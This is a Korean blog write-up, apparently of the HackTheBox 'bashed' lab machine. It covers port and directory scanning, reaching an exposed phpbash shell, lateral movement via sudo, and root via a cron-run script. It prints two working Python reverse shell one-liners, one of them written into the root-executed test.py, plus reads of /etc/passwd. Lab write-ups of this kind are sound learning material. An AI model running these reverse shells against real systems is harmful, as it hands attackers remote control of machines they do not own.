외로운 Nova의 작업실

HackTheBox - bashed 본문

Server Penetesting/Hack-The-Box

HackTheBox - bashed

Nova_ 2023. 4. 12. 16:53

HackTheBox의 bashed 머신을 공격해보겠습니다.

 

- 구성 환경

공격자 : 10.10.14.7

타겟 :10.10.10.68

 

- 스캔

먼저 포트스캔을 해보겠습니다.

nmap -Pn -n -p- -sV -sC -v --min-rate 5000 --max-retries 4 10.10.10.68

80포트만 있습니다. 먼저 방문해보겠습니다.

phpbash에대한 설명입니다. 웹페이지에서 링크를 소개해줍니다. 한번 들어가보겠습니다.

php에서 bash를 사용할 수 있게 해주는 코드가 있는 github페이지 인것 같습니다. 아무래도 웹서버에 이 phpbash가 있는 것 같습니다. 이 파일을 찾으면 리버스쉘을 할 수 있겠군요.  고부스터로 일단 디렉토리 검색을 해보겠습니다.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.68/  -t 150

여러 디렉토리가 있는 걸 확인할 수 있습니다. /php랑 /dev가 의심스럽습니다. 한번 들어가보겠습니다.

메일관련 php이군요 /dev도 들어가보겠습니다.

찾았습니다. phpbash.php 파일입니다.

 

- 침투

 

해당 경로로 들어가면 bash가 있습니다. 먼저 리버스쉘을 하기위해 reverse_web_shell.php를 올리고 웹사이트에서 접속하여 리버스쉘을 받겠습니다.

리버스쉘이 도착했습니다.

 

- 수평 이동

먼저 이동할 사용자를 한번 보겠습니다.

cat /etc/passwd

arrexel과 scriptmanager로 이동이 가능할 것으로 확인됩니다. 일단 먼저 sudo 권한 부터 살펴보겠습니다.

sudo -l

현재 www-data 유저는 패스워드없이 scriptmanager 권한으로 모든 것을 할 수 있게 되어있습니다. 이를 통해 리버스쉘을 scriptmanager 권한으로 실행시켜 다시 받아보겠습니다. TCP reverse가 안먹혀서 python 리버스쉘로 해야합니다.

sudo -u scriptmanager python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

수평이동까지 마쳤습니다.

 

- 권한 상승

이제 root 권한을 얻어보겠습니다. 일단 디렉토리 구조중 새로운 것들이 있는지 확인해보겠습니다.

그랬더니 scriptmanager가 소유한 디렉토리가 보입니다. 한번 들어가 보겠습니다.

test.py와 test.txt가 있습니다. 근데 소유자가 다릅니다. cat 명령으로 봐보겠습니다.

test.py는 test.txt파일을 열어서 쓰는 파이썬코드입니다. 근데 txt 파일의 소유자가 root 인것으로보아 root가 test.py를 실행시킨것 같습니다. 심지어 test.py에는 root제외 아무도 실행권한이 없습니다. 특히 test.txt의 마지막 시간이 오늘 방금입니다. 즉, root가 주기적으로 해당 test.py를 실행시키고 있는 것 같습니다.

1분마다 실행시키고 있는 것 같습니다. test.py에 리버스쉘 코드를 넣으면 root가 실행해서 리버스쉘이 도착할 것 같습니다. 한번 해보겠습니다.

echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.4',447));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/sh')" > test.py

잘 도착했습니다. 이로써 서버를 장악했습니다.

'Server Penetesting > Hack-The-Box' 카테고리의 다른 글

HackTheBox - nibbles  (0) 2023.04.22
HackTheBox - brainfuck  (0) 2023.04.21
HackTheBox - Lame  (0) 2023.04.20
HackTheBox - Legacy  (0) 2023.04.11
HackTheBox - Shocker  (0) 2023.04.10
Comments